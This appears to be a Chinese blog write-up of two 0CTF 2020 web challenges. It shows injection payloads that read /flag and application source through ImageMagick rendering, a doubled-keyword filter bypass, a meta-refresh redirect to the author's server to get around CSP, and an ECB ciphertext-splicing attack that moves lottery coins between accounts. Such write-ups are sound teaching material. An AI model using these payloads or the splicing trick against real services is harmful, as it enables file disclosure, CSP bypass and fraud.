Altm4nz's blog

WEB划水选手

0ctf2020_web

Wechat Generator

首先两个功能,preview和share。

preview根据对话框内容生成预览图片,share则是分享照片。

简单测试后发现生成图片的url http://pwnable.org:5000/image/jQnEFz/png

修改png后发现返回报错,猜测后台使用ImageMagick

尝试将后缀名改为htm可以看到图片的htm格式。

可以看到我们输入的emoj表情被拼接到了一个url中。那么尝试闭合。

1
data=[{"type":0,"message":"[basket\"/><image href=\"/flag\" />]Love you!"},{"type":1,"message":"Me too!!!"}]

成功插入标签。然后去访问渲染成png的图片。

1
http://pwnable.org:5000/share/ICDJEO

发现对话框无内容。修改pay

1
data=[{"type":0,"message":"[basket\"/><image href=\"text:/flag\" />]Love you!"},{"type":1,"message":"Me too!!!"}]

成功读到flag的内容,应该只是第一层

接下来想办法读web文件内容,没有web目录,直接去读proc。

这里proc被过滤了,双写可以绕过。

1
data=[{"type":0,"message":"[basket\"/><image href=\"text:/prprococ/self/cwd/app.py\" />]Love you!"},{"type":1,"message":"Me too!!!"}]

读到文件内容

拿到一个url,访问后发现是让弹窗。

1
http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

由于有CSP限制,并且不能再服务器上控制JS文件内容,使用meta标签跳转。

1
data=[{"type":0,"message":"[basket\"/><memetata http-equiv=\"refresh\" content=\"0;url=http://vps/1.html\" >]Love you!"},{"type":1,"message":"Me too!!!"}]

vps上放alert的代码。

访问生成的htm文件 http://pwnable.org:5000/image/NbDxdh/htm 成功跳转弹窗。

上交给admin接口 image/NbDxdh/htm

5

拿到flag。

5

Lottery

简单注册后三个功能

  • Buy

10元买一张彩票获得一个enc

  • info

用enc去获取获奖信息

  • charge

去换对应coin

通过分析enc

1
2
3
1TX7xBMApPLHpy1wulOqLHH5q9kBXdXb\/nEm8OBgeGFd+oSYPWX0FGyp92mLLm6aE6NvACVCivOxjS0NRch9Bj1yS+fXGpdwWSi6qvnUNb9UQwxrZ8nMh66mP7JFWZtHT8g6CqCHIqSduY1dpE1F3PbSt9reYD8AcCI4hIXsxZg=
l0A/yTcZuD19RfZVSj/lBZA4H4WTFcutBG0Oe75MO3A5wEGaou4mSlU6S+BmU3EiGMxuVsrcR+uWxsOwWr+Fjyew30ptCA0xoX+utpyxgyF/fIBm4CcVncLAVEZqmbttlkL8VB8rDw4FzbQKv88bH/bSt9reYD8AcCI4hIXsxZg=
yAi7DdLPnP00NTtwDSkrkTwd9IdghqFlwvrIbMUDgD1X9g+WWHZacx5wFgrKQA+Zbqu2XJgI\/B3NhGie8zp7Vj1yS+fXGpdwWSi6qvnUNb9UQwxrZ8nMh66mP7JFWZtH\/60UB7sS0foSe\/jrTzNt3vbSt9reYD8AcCI4hIXsxZg=

发现后几位是相同的,猜测是ECB分组模式,进行重放攻击。

分析发现将密文前128位替换

1
2
3
4
5
enc1='yAi7DdLPnP00NTtwDSkrkTwd9IdghqFlwvrIbMUDgD1X9g+WWHZacx5wFgrKQA+Zbqu2XJgI\/B3NhGie8zp7Vj1yS+fXGpdwWSi6qvnUNb9UQwxrZ8nMh66mP7JFWZtH\/60UB7sS0foSe\/jrTzNt3vbSt9reYD8AcCI4hIXsxZg='
#{"info":{"lottery":"c7ba23fc-adaa-4b34-a323-c623d29c03ec","user":"53549d01-75eb-4746-80da-57178b255434","coin":3}}

enc2='l0A/yTcZuD19RfZVSj/lBZA4H4WTFcutBG0Oe75MO3A5wEGaou4mSlU6S+BmU3EiGMxuVsrcR+uWxsOwWr+Fjyew30ptCA0xoX+utpyxgyF/fIBm4CcVncLAVEZqmbttlkL8VB8rDw4FzbQKv88bH/bSt9reYD8AcCI4hIXsxZg='
#{"info":{"lottery":"a41c0258-ac21-4ec7-94ea-fd4e9d03d4e9","user":"6c6e1a9a-a09f-4d65-b72e-ec50ba0aa8fd","coin":4}}

通过将enc1的前128位替换到enc2上,得到如下明文密文。

1
2
yAi7DdLPnP00NTtwDSkrkTwd9IdghqFlwvrIbMUDgD1X9g%2BWWHZacx5wFgrKQA%2BZbqu2XJgI/B3NhGie8zp7View30ptCA0xoX%2ButpyxgyF/fIBm4CcVncLAVEZqmbttlkL8VB8rDw4FzbQKv88bH/bSt9reYD8AcCI4hIXsxZg=
{"info":{"lottery":"c7ba23fc-adaa-4b34-a323-c623d29c03ec","user":"536e1a9a-a09f-4d65-b72e-ec50ba0aa8fd","coin":4}}

容易看出,我们将明文直至user的前两位进行了替换,关键是将lottery进行了替换。

那么就可以通过替换,将用户1的lottery兑换到用户2上,从而使用户2的coin增加。

下面只需要寻找多个userid前两位相同的账户,购买lottery,将中奖coin兑换到一个账户上即可。